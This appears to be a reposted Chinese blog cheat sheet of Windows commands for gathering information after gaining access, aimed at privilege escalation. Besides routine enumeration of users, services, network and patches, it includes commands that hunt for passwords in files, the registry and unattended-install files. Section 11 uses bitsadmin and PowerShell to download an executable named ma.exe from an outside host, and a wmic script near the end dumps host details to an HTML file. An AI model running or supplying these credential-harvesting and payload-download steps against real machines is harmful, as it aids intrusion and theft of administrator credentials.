Windows信息收集思路与命令汇总

小程序直播MySQL

推荐关注:

0x01 Windows 提权信息收集思路与简单命令

1.操作系统的名称和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

2.主机名称和所有环境变量

主机名称:hostname 命令。环境变量:SET 命令。

3.查看用户信息

查看所有用户:net user或net1 user命令。查看管理员用户组:net localgroup administrators或net1 localgroup administrators命令。查看远程终端在线用户:query user或quser命令。

4.查看远程端口

(1)通过注册表查看RDP端口


      
        
运行REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber命令。  

    

(2)通过命令行查看

获取对应的 PID 号:tasklist /svc | find "TermService"命令。

通过 PID 号查找端口:netstat -ano | find "1980"命令。

5.查看网络情况

网络配置情况:ipconfig /all命令。

路由器信息:route print命令。

要查看 ARP 缓存:arp –a命令。

查看网络连接:netstat –ano命令。

查看防火墙规则,命令如下。

netsh firewall show config netsh firewall show state hosts文件

6.应用程序和服务

查看服务的进程 ID:tasklist /SVC命令。

查看已安装驱动程序的列表:DRIVERQUERY 命令。

查看已经启动的 Windows 服务:net start命令。

查看某服务的启动权限:sc qc TermService命令。

查看已安装程序的列表:wmic product list brief命令。

查看服务列表:wmic service list brief命令。

查看进程列表:wmic process list brief命令。

查看启动程序列表:wmic startup list brief命令

查看已安装的更新和安装日期,代码如下:wmic qfe get Caption,De**ion,HotFixID,InstalledOn

搜索可以提升权限的特定漏洞,代码如下


      
        
wmic qfe get Caption,De**ion,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"  

    

如果执行上面的命令后没有输出,意味着那个补丁未安装。

结束程序:wmic process where name="iexplore.exe" call terminate命令。

7.检索敏感文件


      
        
dir /b /s password.txt  
dir /b /s *.doc  
dir /b /s *.ppt  
dir /b /s *.xls  
dir /b /s *.docx  
dir /b /s *.xlsx  
dir /b /s config.* filesystem  
findstr /si password *.xml *.ini *.txt  
findstr /si login *.xml *.ini *.txt  

    

除此之外,还可以检查无人值守安装日志文件。这些文件通常包含 Base64 编码的密码。在大型企业中,单个系统手动安装是不切实际的,找到这些文件即可获取管理员密码。这些文件的共同位 置如下。


      
        
C:\sysprep.inf  
C:\sysprep\sysprep.xml  
C:\Windows\Panther\Unattend\Unattended.xml  
C:\Windows\Panther\Unattended.xml  

    

8.目录文件操作

列出 d:\www 下的所有目录,命令如下。

for /d %i in (d:\www*) do @echo %i

把当前路径下文件夹名字只有 1~3 个字母的显示出来,命令如下。

for /d %i in (???) do @echo %i

以当前目录为搜索路径,把当前目录及其子目录中的全部 EXE 文件列出,命令如下。

for /r %i in (*.exe) do @echo %i

以指定目录为搜索路径,把当前目录及其子目录中的所有文件列出,命令如下。

for /r "f:\freehost\hmadesign\web" %i in (.) do @echo %i

显示 a.txt 中的内容,因为/f 的作用,会读出 a.txt 中的内容,命令如下。

for /f %i in (c:\1.txt) do echo %i

9.RAR 打包


      
        
rar a -k -r -s -m3 c:\1.rar d:\wwwroot  

    

10.PHP 读文件

c:/php/php.exe "c:/www/admin/1.php"

11.Windows 7 及以上版本下载可以使用的 bitsadmin 和 PowerShell


      
        
bitsadmin /transfern http://www.antian365.com/ma.exe d:\ma.exe  

    

      
        
powershell (new-object System.Net.WebClient).DownloadFile(' http://www.antian365.com/ma.exe','ma.exe')  

    

12.注册表关键字搜索(找password) password 为关键字,可以是 vnc 等敏感关键字,命令如下。


      
        
reg query HKLM /f password /t REG_SZ /s  
  
reg query HKCU /f password /t REG_SZ /s  
image-20210323125944656  
image-20210323125944656  

    

13.系统权限配置

cacls c:
cacls c:\windows\ma.exe //查看 ma.exe 的权限配置

14.自动收集脚本


      
        
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"  
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html  
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html  
wmic USERACCOUNT list full /format:"%var%" >> out.html  
wmic group list full /format:"%var%" >> out.html  
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html  
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html  
wmic netuse list full /format:"%var%" >> out.html  
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html  
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html  
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html  
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html  
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html  

    

        
            

          作者:Dr34d,转载于 Dr34d's Blog 。
        
      

查看更多精彩内容,还请关注橘猫学安全:

0
0
0
0
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论